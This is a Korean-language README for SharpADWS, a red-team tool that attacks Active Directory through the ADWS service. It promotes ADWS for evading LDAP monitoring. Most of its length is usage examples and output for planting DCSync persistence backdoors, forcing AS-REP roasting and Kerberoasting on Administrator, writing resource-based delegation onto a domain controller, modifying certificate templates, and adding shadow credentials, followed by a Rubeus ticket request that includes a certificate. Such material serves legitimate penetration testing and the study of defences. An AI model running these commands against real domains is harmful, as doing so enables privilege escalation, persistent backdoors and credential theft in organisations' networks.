
레드팀을 위한 Active Directory Web Services (ADWS)를 통한 Active Directory 정찰 및 공격
레드팀을 위한 Active Directory Web Services(ADWS) 기반 Active Directory 정찰 및 공격 도구
SharpADWS는 Active Directory Web Services(ADWS) 프로토콜을 통해 Active Directory 데이터를 수집하고 수정하는 레드팀용 Active Directory 정찰 및 공격 도구입니다.
일반적으로 Active Directory 열거 또는 조작은 LDAP 프로토콜을 통해 이루어집니다. SharpADWS는 LDAP 서버와 직접 통신하지 않고 Active Directory 데이터를 추출하거나 수정할 수 있습니다. ADWS에서 LDAP 쿼리는 일련의 SOAP 메시지로 래핑된 후 NET TCP 바인딩 암호화 채널을 사용하여 ADWS 서버로 전송됩니다. 그런 다음 ADWS 서버는 로컬에서 LDAP 쿼리를 언패킹하여 동일한 도메인 컨트롤러에서 실행 중인 LDAP 서버로 전달합니다.
Active Directory Web Services(ADWS)는 Active Directory Domain Services(ADDS)가 설치될 때 자동으로 활성화되므로 SharpADWS는 모든 도메인 환경에서 보편적으로 사용할 수 있습니다.
ADWS를 LDAP 사후 공격에 사용할 때의 주요 이점 중 하나는 상대적으로 덜 알려져 있으며, LDAP 트래픽이 네트워크를 통해 전송되지 않기 때문에 일반적인 모니터링 도구로 쉽게 탐지되지 않는다는 점입니다. ADWS는 LDAP과 완전히 다른 서비스를 실행하며, TCP 포트 9389에서 사용 가능하고 SOAP 프로토콜을 인터페이스로 사용합니다.
ADWS를 연구하면서 실제 LDAP 쿼리 실행이 도메인 컨트롤러에서 로컬로 이루어지기 때문에 흥미로운 부작용이 발생한다는 점을 발견했습니다. 예를 들어, 도메인 컨트롤러에서 LDAP 쿼리를 분석할 때 쿼리가 127.0.0.1 로그에서 발생한 것으로 나타나며, 이는 많은 경우 무시됩니다.
또 다른 이점은 이러한 활동이 DeviceEvents의 LDAPSearch 작업 유형에 나타나지 않으므로 원격 측정 데이터가 거의 없다는 것입니다.
SharpADWS는 MS-ADDM, MS-WSTIM 및 MS-WSDS 프로토콜을 구현합니다. 이 프로젝트의 소스 코드를 사용하여 Active Directory Web Services에서 다음과 같은 작업을 쉽게 수행할 수 있습니다:
명령줄 인수 -h를 사용하여 다음 사용법 정보를 표시할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe -h
SharpADWS 1.0.0-beta - Copyright (c) 2024 WHOAMI (whoamianony.top)
-h Display this help screen
Connection options: -d Specify domain for enumeration -u Username to use for ADWS Connection -p Password to use for ADWS Connection
Supported methods: Cache Dump all objectSids to cache file for Acl methods Acl Enumerate and analyze DACLs for specified objects, specifically Users, Computers, Groups, Domains, DomainControllers and GPOs DCSync Enumerate all DCSync-capable accounts and can set DCSync backdoors DontReqPreAuth Enumerates all accounts that do not require kerberos preauthentication, and can enable this option for accounts Kerberoastable Enumerates all Kerberoastable accounts, and can write SPNs for accounts AddComputer Add a machine account within the scope of ms-DS-MachineAccountQuota for RBCD attack RBCD Read, write and remove msDS-AllowedToActOnBehalfOfOtherIdentity attributes for Resource-Based Constrained Delegation attack Certify Enumerate all ADCS data like Certify.exe, and can write template attributes Whisker List, add and remove msDS-KeyCredentialLink attribute like Whisker.exe for ShadowCredentials attack FindDelegation Enumerate all delegation relationships for the target domain
Acl options: -dn RFC 2253 DN to base search from -scope Set your Scope, support Base (Default), Onelevel, Subtree -trustee The sAMAccountName of a security principal to check for its effective permissions -right Filter DACL for a specific AD rights -rid Specify a rid value and filter out DACL that security principal's rid is greater than it -user Enumerate DACL for all user objects -computer Enumerate DACL for all computer objects -group Enumerate DACL for all group objects -domain Enumerate DACL for all domain objects -domaincontroller Enumerate DACL for all domain controller objects -gpo Enumerate DACL for all gpo objects
DCSync options: -action [{list, write}] Action to operate on DCSync method list List all accounts with DCSync permissions write Escalate accounts with DCSync permissions -target Specify the sAMAccountName of the account
DontReqPreAuth options: -action [{list, write}] Action to operate on DontReqPreAuth method list List all accounts that do not require kerberos preauthentication write Enable do not require kerberos preauthentication for an account -target Specify the sAMAccountName of the account
Kerberoastable options: -action [{list, write}] Action to operate on Kerberoastable method list List all kerberoastable accounts write Write SPNs for an account to kerberoast -target Specify the sAMAccountName of the account
AddComputer options: -computer-name Name of computer to add, without '$' suffix -computer-pass Password to set for the computer
RBCD options: -action [{read,write,remove}] Action to operate on RBCD method read Read the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account write Write the msDS-AllowedToActOnBehalfOfOtherIdentity attribute of the account remove Remove the msDS-AllowedToActOnBehalfOfOtherIdentity attribute value of the account added by the write action
Certify options: -action [{find, modify}] Action to operate on Certify method find Find all CA and certificate templates modify Modify certificate templates -enrolleeSuppliesSubject Enumerate certificate templates with CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for find action, and can enable CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag for modify action -clientAuth Enumerate certificate templates with client authentication pKIExtendedKeyUsage for find action, and can enable Client Authentication for modify action
Whisker options: -action [{list, add, remove}] Action to operate on ShadowCredentials method list List all the values of the msDS-KeyCredentialLink attribute for an account add Add a new value to the msDS-KeyCredentialLink attribute for an account remove Remove a value from the msDS-KeyCredentialLink attribute for an account -device-id Specify the DeviceID to remove -target Specify the sAMAccountName of the account
FindDelegation options: No options, just run!
### Cache
SharpADWS가 ACL을 열거할 때, 각 알 수 없는 trustee 객체에 대해 추가적인 ADWS 요청을 수행하지 않기 위해, 캐시 메서드를 통해 미리 모든 계정 객체의 완전한 캐시를 생성하여 파일에 저장함으로써 다수의 (불필요한) 흐름을 방지해야 합니다. 캐시는 현재 도메인 내 각 계정 객체 이름과 해당 objectSid의 매핑을 포함합니다.```cmd
C:\Users\Marcus>SharpADWS.exe Cache
[*] Cache file has been generated: object.cache
Acl 메서드는 -dn을 지정하여 객체의 DACL을 열거할 수 있으며, -trustee, -right 및 -rid 매개변수를 통해 열거된 DACL의 필터링을 지원합니다. 예를 들어, 모든 도메인 컨트롤러 객체를 열거하고 trustee가 Marcus인 DACL을 필터링하려면 다음과 같습니다.```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "OU=Domain Controllers,DC=corp,DC=local" -scope Subtree -trustee Marcus
Severity : Critical ObjectDN : CN=DC01,OU=Domain Controllers,DC=corp,DC=local AccessControlType : Allow ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite ObjectType : All Trustee : Marcus IsInherited : False
다른 예시로, 모든 User 개체를 열거하고 GenericWrite 권한과 trustee RID가 1000보다 큰 DACL을 필터링하고자 합니다. 아래와 같이:```cmd
C:\Users\Marcus>SharpADWS.exe acl -dn "CN=Users,DC=corp,DC=local" -scope Subtree -right Generic -rid 1000
Severity : Critical
ObjectDN : CN=Bob,CN=Users,DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ListChildren, ReadProperty, GenericWrite
ObjectType : All
Trustee : Marcus
IsInherited : False
또한, Acl 메서드는 특정 객체의 열거를 지원합니다:```cmd SharpADWS.exe acl -user # Enumerate DACL for all user objects SharpADWS.exe acl -computer # Enumerate DACL for all computer objects SharpADWS.exe acl -group # Enumerate DACL for all group objects SharpADWS.exe acl -domain # Enumerate DACL for all domain objects SharpADWS.exe acl -domaincontroller # Enumerate DACL for all domain controller objects SharpADWS.exe acl -gpo # Enumerate DACL for all gpo objects
**Acl Method의 사용은 Cache Method를 통해 설정된 매핑 캐시에 의존해야 한다는 점에 유의해야 합니다. **
### DCSync
DCSync 메서드의 `list` 작업은 DS-Replication-Get-Changes, DS-Replication-Get-Changes-All 및 DS-Replication-Get-Changes-In-Filtered-Set 권한이 부여된 모든 계정을 쿼리할 수 있으며, 다음과 같이 표시됩니다:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action list
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Administrators
IsInherited : False
Severity : Info
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Domain Controllers
IsInherited : False
Severity : Critical
ObjectDN : DC=corp,DC=local
AccessControlType : Allow
ActiveDirectoryRights : ExtendedRight
ObjectType : DS-Replication-Get-Changes-All
Trustee : Alice
IsInherited : False
DCSync 메서드의 list 작업은 Cache 메서드를 통해 구축된 매핑 캐시에 의존해야 한다는 점에 유의해야 합니다.
또한, 충분한 권한이 있다면 write를 통해 계정에 DCSync 권한을 부여하여 도메인 지속성 백도어를 설정할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe DCSync -action write -target Marcus
[*] Account Marcus now has DCSync privieges on the domain.
### DontReqPreAuth
DontReqPreAuth 메서드의 `list` 액션을 사용하여 'Do not require kerberos preauthentication' 옵션이 설정된 모든 계정을 찾을 수 있습니다. 아래와 같습니다:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action list
[*] Found users that do not require kerberos preauthentication:
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] CN=Alice,CN=Users,DC=corp,DC=local
[*] CN=John,CN=Users,DC=corp,DC=local
또한, 타겟 계정의 userAccountControl 속성에 대해 WriteProperty 권한을 악용하여, write 작업을 통해 해당 계정에 'Do not require kerberos preauthentication' 옵션을 활성화함으로써 AS-REP Roasting 공격을 수행할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe DontReqPreAuth -action write -target Administrator
[*] Set DontReqPreAuth for user Administrator successfully!
### Kerberoastable
Kerberoastable 메서드의 `list` 액션은 SPN이 설정된 모든 계정을 찾을 수 있습니다. 아래와 같습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action list
[*] Found kerberoastable users:
[*] CN=krbtgt,CN=Users,DC=corp,DC=local
[*] kadmin/changepw
[*] CN=Bob,CN=Users,DC=corp,DC=local
[*] WWW/win-iisserver.corp.local/IIS
[*] TERMSERV/win-iisserver.corp.local
[*] CN=John,CN=Users,DC=corp,DC=local
[*] TERMSERV/WIN-SERVER2026
또한, 대상 계정의 servicePrincipalName 속성에 대한 WriteProperty 권한을 악용하여 해당 계정(사용자 계정만)에 SPN을 추가하는 write 작업을 통해 Kerberoasting 공격을 수행할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Kerberoastable -action write -target Administrator
[*] Kerberoast user Administrator successfully!
### AddComputer
AddComputer 메서드를 사용하면 `ms-DS-MachineAccountQuota` 특성 값 범위 내에서 새 컴퓨터 계정을 생성할 수 있으며, 이는 이후 RBCD 공격에 사용될 수 있습니다.```cmd
C:\Users\Marcus>SharpADWS.exe AddComputer -computer-name PENTEST$ -computer-pass Passw0rd
[*] Successfully added machine account PENTEST$ with password Passw0rd.
RBCD 메소드의 read 액션은 지정된 계정 객체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성 값을 읽어 해당 계정에 리소스 위임 권한이 있는 사용자를 확인할 수 있습니다. 아래와 같습니다:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action read -delegate-to DC01$
[] Accounts allowed to act on behalf of other identity: [] WIN-IISSERVER$ (S-1-5-21-1315326963-2851134370-1073178800-1106) [] WIN-MSSQL$ (S-1-5-21-1315326963-2851134370-1073178800-1103) [] WIN-PC8087$ (S-1-5-21-1315326963-2851134370-1073178800-1117)
RBCD 방법의 `write` 작업은 리소스 기반 제약 위임 공격을 위해 대상 계정 객체의 `msDS-AllowedToActOnBehalfOfOtherIdentity` 속성에 쓸 수 있습니다. 아래와 같이 먼저 AddComputer 방법을 사용하여 새로운 계정 `PENTEST$`를 생성한 후, 다음 명령을 실행하여 `PENTEST$`의 SID를 `DC01$`의 `msDS-AllowedToActOnBehalfOfOtherIdentity` 속성에 기록할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action write -delegate-to DC01$ -delegate-from PENTEST$
[*] Delegation rights modified successfully!
[*] PENTEST$ can now impersonate users on DC01$ via S4U2Proxy
[*] Accounts allowed to act on behalf of other identity:
[*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
또한, write 작업에서 추가된 SID는 remove 작업을 통해 대상 개체의 msDS-AllowedToActOnBehalfOfOtherIdentity 속성에서 제거할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe RBCD -action remove -delegate-to DC01$ -delegate-from PENTEST$
[] Delegation rights modified successfully! [] Accounts allowed to act on behalf of other identity has been removed: [*] PENTEST$ (S-1-5-21-1315326963-2851134370-1073178800-1113)
### Certify
Certify 메서드의 `find` 작업은 [Certify](https://github.com/GhostPack/Certify)와 마찬가지로 모든 인증 기관 및 인증서 템플릿을 포함한 ADCS의 데이터를 열거할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find
[*] Find CA and certificate templates
[*] Using the search base 'CN=Configuration,DC=corp,DC=local'
[*] Listing info about the Enterprise CA 'corp-DC01-CA'
Enterprise CA Name : corp-DC01-CA
DNS Name : DC01.corp.local
FullName : DC01.corp.local\corp-DC01-CA
Certificate Subject : CN=corp-DC01-CA, DC=corp, DC=local
Certificate Serial Number : 2D975C2D49AE4BB7432682E1708C8834
Certificate Validity Start : 2/13/2024 5:55:36 PM
Certificate Validity End : 2/13/2029 6:05:36 PM
CA Permissions :
Enrollment Rights :
: Authenticated Users
Object Control Permissions :
ManageCA :
: Enterprise Admins
: DC01
: Domain Admins
ManageCertificates :
: Enterprise Admins
: DC01
WriteDacl :
: Enterprise Admins
: DC01
: Domain Admins
WriteOwner :
: Enterprise Admins
: DC01
: Domain Admins
WriteProperty :
: Enterprise Admins
: DC01
: Domain Admins
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
CA Name :
Template Name : UserSignature
Enabled : False
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : False
pKIExtendedKeyUsage : Secure Email Client Authentication
msPKI-Certificate-Name-Flag : SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : AUTO_ENROLLMENT
msPKI-Private-Key-Flag : ATTEST_NONE
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Domain Users
# ...
또한, find 작업은 -enrolleeSuppliesSubject 및 -clientAuth 옵션을 지원하며, 이 옵션들은 CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT 플래그가 켜져 있고 클라이언트 인증을 지원하는 모든 인증서 템플릿을 필터링할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action find -enrolleeSuppliesSubject -clientAuth
[] Find CA and certificate templates [] Using the search base 'CN=Configuration,DC=corp,DC=local' [*] Listing info about the Enterprise CA 'corp-DC01-CA'
# ...
[*] Available Certificates Templates
CA Name : CORP-DC01-CA
Template Name : User
Enabled : True
Client Authentication : True
Enrollment Agent : False
Any Purpose : False
Enrollee Supplies Subject : True
pKIExtendedKeyUsage : Encrypting File System Secure Email Client Authentication
msPKI-Certificate-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT SUBJECT_ALT_REQUIRE_UPN SUBJECT_ALT_REQUIRE_EMAIL SUBJECT_REQUIRE_EMAIL SUBJECT_REQUIRE_DIRECTORY_PATH
msPkI-Enrollment-Flag : INCLUDE_SYMMETRIC_ALGORITHMS PUBLISH_TO_DS AUTO_ENROLLMENT
msPKI-Private-Key-Flag : EXPORTABLE_KEY
CA Permissions :
Enrollment Rights :
: Domain Admins
: Domain Users
: Enterprise Admins
Object Control Permissions :
WriteDacl :
: Domain Admins
: Enterprise Admins
WriteOwner :
: Domain Admins
: Enterprise Admins
WriteProperty :
: Domain Admins
: Enterprise Admins
: Marcus
: Domain Users
**Certify Method의 `find`는 Cache Method를 통해 구축된 매핑 캐시에 의존해야 한다는 점에 유의해야 합니다. **
Certify method의 `modify` 작업을 사용하면 대상 템플릿에 대한 쓰기 권한이 있는 경우 `CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT` 플래그를 켜거나 클라이언트 인증을 활성화하는 등 인증서 템플릿의 속성을 수정할 수 있습니다.```cmd
C:\Users\Marcus>SharpADWS.exe Certify -action modify -template User -enrolleeSuppliesSubject -clientAuth
[*] Enable enrollee supplies subject for template User successfully!
[*] Enable client authentication for template User successfully!
Whisker 메소드는 Whisker처럼 ShadowCredentials 공격의 수명 주기를 수행할 수 있습니다.
Whisker 메소드의 list 액션은 대상 계정 객체의 msDS-KeyCredentialLink 속성 값을 나열할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action list -target DC01$
[] List deviced for DC01$: [] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM [] DeviceID: ee48b31f-71b1-4821-b21e-1ca28fad2ae9 Creation Time: 2/13/2024 8:06:52 PM [] DeviceID: 80c31faf-8b0b-4af6-8350-22de2d91a4fd Creation Time: 2/13/2024 8:01:50 PM
Whisker 메서드의 `add` 작업을 사용하면 쓰기 권한이 있는 경우 대상 계정의 `msDS-KeyCredentialLink` 속성에 키를 추가하여 ShadowCredentials 공격을 수행할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action add -target Administrator -cert-pass Passw0rd
[*] Certificate generaged
[*] KeyCredential generated with DeviceID 7d9e0151-5fd2-46d5-ac3d-dce8a71399f2
[*] Updated the msDS-KeyCredentialLink attribute successfully!
[*] You can now run Rubeus with the following syntax:
Rubeus.exe asktgt /user:Administrator /certificate:MIIJzwIBAzCCCYsGCSqGSIb3DQEHA
aCCCXwEggl4MIIJdDCCBiUGCSqGSIb3DQEHAaCCBhYEggYSMIIGDjCCBgoGCyqGSIb3DQEMCgECoIIE/
jCCBPowHAYKKoZIhvcNAQwBAzAOBAjQKx9W/RRiIgICB9AEggTYyQ1jkAw63J4ldeBGctrUhGFPLkIll
NNTizR2Ah/RW+QS2PjWVqv1N2AgybObllM3qVD2xxVxTQpSNvFsHTmZMCVFg++uknPBA7nVriX2rcTPJ
bB/K0DANikCdSDXq1ROgIMRx3mpHtCX2Med82O0OJKOhk+S/Zt3K3r3BloSXRJI0YWUitlP3LPFG9DeG
p1Pox/BL+83NmL9x1hX8ztTPixUlLteNUA5etJzdH0z+yFbqozH7HE1HClYFTanhS0codWpc19QjamWj
DpmOMthgQlf6V+4kiG9PVyCHB7vzFbEnUcprLIRmlPKZKTEp2swfSKj+TeknccuHePIAtASJav286POp
VS6NtHWPOUzlwAbCZJh4DDMcla/dFKGDM7124eAp+5EW7uG+nSO7CgTISPZtXw2NtxpDhXcES6AX7k62
8XFGgXE8RjVLMWGg02CctEFuawvICptI66e0FfetknAwkKNMlE6+gr/QrbubBzSYv4fxMxrYB4OU2bCv
dxocOUjQsGcu7kt4fc6AmQLh7k912okoASyDRjHXABHv/Y6Q7+J1m84aI4BtbkaXmg0fE6pQtCxnGNEO
YEYUfa+8JBvDfKhidxCb1S9QM0B+EONfJk8vu+7rMvxjvhdPMZoJPpVT0kaf2FnripAX4jQDaiaq/6Mq
N5EKg23IujIlzDNIjHN1Ev8WWlL+LthfWe1m7F2Su3iaOgPMuqeX9VWpJcBUYjXgmn168aZ49vp5k6vG
T09Z+s0Qfzba6k4r5LB23ChVvHeGqQ+9xfayXGxRr6862e3vPltPP9uhMBZ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0uGCsravh7y5iMPmtkbA66ZcmIplh8aQWM2zuXJfAbhWHfSZ
jqRyRDTqI6ZOxYsMVnHu+kTssrUsa6H/ogf546igZnaQB0pluNRbLAAqqVIvuou0cwZXK08R4IUXxEy8
QWDYFXLLif4XSbkwmAkcFu93P22dnfCxrZVKgjVhKZCMDswHzAHBgUrDgMCGgQUaHvJNXYeqJdTEyPJp
Sr3W7XTHO4EFJGjtSROCn2lG+TyUH4aVwdAj2DIAgIH0A== /password:"Passw0rd" /domain:cor
p.local /getcredentials /show
추가적으로, remove 동작을 사용할 때 -device-id를 제공하여 대상 객체의 msDS-KeyCredentialLink 속성에서 지정된 Key를 제거할 수 있습니다:```cmd
C:\Users\Marcus>SharpADWS.exe Whisker -action remove -target DC01$ -device-id c9fdae6b-f6a1-4880-a498-6dc89814e596
[] Found value to remove [] msDS-KeyCredentialLink value has been removed: [*] DeviceID: c9fdae6b-f6a1-4880-a498-6dc89814e596 Creation Time: 2/13/2024 7:43:49 PM
### FindDelegation
FindDelegation 메서드는 현재 도메인의 모든 위임 관계를 열거할 수 있습니다. 이 메서드에는 중복된 옵션이나 매개변수가 없습니다:```cmd
C:\Users\Marcus\desktop>SharpADWS.exe FindDelegation
AccountName AccountType DelegationType DelegationRightsTo
----------- ----------- ---------------------------------- ----------------------------------------------
DC01$ Computer Unconstrained N/A
PENTEST$ Computer Resource-Based Constrained DC01$
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01/CORP
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/DomainDnsZones.corp.local
WIN-MSSQL$ Computer Constrained w/ Protocol Transition ldap/DC01.corp.local/ForestDnsZones.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01.corp.local/CORP
WIN-PC8087$ Computer Constrained w/ Protocol Transition cifs/DC01/CORP
이 프로젝트는 저 혼자 완성한 것으로, 필연적으로 몇 가지 버그가 있을 수 있습니다. 기여자 분들은 버그를 보고하거나 새로운 아이디어를 제안하여 프로젝트를 함께 개선할 수 있도록 이슈를 제출해 주시기 바랍니다!